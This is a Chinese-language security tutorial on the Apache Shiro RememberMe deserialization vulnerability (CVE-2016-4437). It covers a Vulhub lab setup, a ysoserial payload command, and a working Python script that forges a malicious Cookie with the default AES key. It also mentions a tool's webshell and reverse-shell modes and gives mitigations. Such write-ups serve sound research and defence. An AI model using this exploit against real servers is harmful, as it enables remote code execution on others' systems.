0x01 漏洞简介
Apache Shiro 是Java领域广泛使用的安全框架,用于身份认证、权限控制等场景。
漏洞背景:Shiro在1.2.5及以下版本中,默认使用硬编码的AES加密密钥(kPH+bIxk5D2deZiIxcaaaA==
),攻击者可通过构造恶意RememberMe Cookie触发反序列化漏洞,导致远程代码执行(RCE)。
影响版本:Apache Shiro ≤ 1.2.5、≤ 1.5.2(部分版本需结合其他条件)。
0x02 漏洞原理
1. RememberMe机制分析
-
流程:
- 用户登录时勾选“记住我”(RememberMe),Shiro将用户信息序列化后,用AES加密生成Cookie。
- 服务端接收Cookie后解密并反序列化,恢复用户身份。
-
漏洞点:
- 硬编码密钥:若未修改默认密钥,攻击者可轻易获取并构造恶意Payload。
- 反序列化风险:Shiro使用
ObjectInputStream
反序列化数据,未做安全过滤,导致恶意代码执行。
2. 攻击链构造
攻击者利用链:
构造恶意序列化对象 → AES加密(使用默认密钥) → 生成RememberMe Cookie → 服务端解密后触发反序列化 → RCE
0x03 漏洞复现
环境准备
-
漏洞环境:
- 使用Vulhub快速搭建:
git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437 docker-compose up -d
- 访问
http://your-ip:8080
,使用账号admin/admin
登录。
- 使用Vulhub快速搭建:
-
工具准备:
- ysoserial:生成反序列化Payload。
git clone https://github.com/frohoff/ysoserial.git cd ysoserial && mvn package
- ShiroExploit:自动化漏洞利用工具。
git clone https://github.com/feihong-cs/ShiroExploit.git
- ysoserial:生成反序列化Payload。
手动复现步骤
1. 生成恶意Payload
# 生成CommonsBeanutils1链的Payload(弹计算器)
java -jar ysoserial.jar CommonsBeanutils1 "calc.exe" > payload.ser
2. 构造RememberMe Cookie
import base64
import uuid
from Crypto.Cipher import AESkey = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes # 随机生成IV# 读取Payload并填充
with open("payload.ser", "rb") as f:payload = f.read()
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
payload = pad(payload)# AES加密
cipher = AES.new(key, mode, iv)
cookie = iv + cipher.encrypt(payload)
rememberMe = base64.b64encode(cookie).decode()print(f"RememberMe={rememberMe}")
3. 发送恶意请求
使用Burp Suite拦截请求,替换Cookie头:
GET / HTTP/1.1
Host: your-ip:8080
Cookie: rememberMe={生成的Cookie值}
4. 结果验证
- 目标服务器弹出计算器(Windows)或执行
touch /tmp/success
(Linux)。 - 检查Docker容器内是否生成文件:
docker exec -it [container-id] ls /tmp
自动化利用(ShiroExploit)
- 运行工具:
java -jar ShiroExploit.jar
- 输入目标URL:
http://your-ip:8080
- 选择攻击模式(检测密钥、上传Webshell、反弹Shell等)。
0x04 漏洞修复
1. 升级Shiro版本
- 升级至 Shiro 1.13.0+,官方已修复默认密钥问题。
<dependency><groupId>org.apache.shiro</groupId><artifactId>shiro-core</artifactId><version>1.13.0</version> </dependency>
2. 修改加密密钥
在 shiro.ini
或配置类中设置随机密钥:
securityManager.rememberMeManager.cipherKey = 生成随机Base64密钥
生成密钥代码:
byte[] key = new byte[16]; // AES-128
new SecureRandom().nextBytes(key);
String base64Key = Base64.getEncoder().encodeToString(key);
3. 禁用RememberMe功能
若无需此功能,直接关闭:
securityManager.rememberMeManager = null
4. 反序列化过滤
自定义 DefaultSerializer
,替换为安全的反序列化方案(如白名单机制)。
0x05 总结
Shiro反序列化漏洞是Java应用中的经典漏洞,核心问题在于密钥硬编码和危险的反序列化操作。
防御要点:
- 密钥随机化:禁止使用默认密钥。
- 最小化依赖:移除不必要的库(如CommonsBeanutils)。
- 安全配置:关闭不必要功能,启用反序列化过滤。
免责声明:本文仅用于安全研究学习,禁止用于未授权测试!
参考链接:
- Apache Shiro官方文档
- Shiro RCE分析
- ysoserial工具说明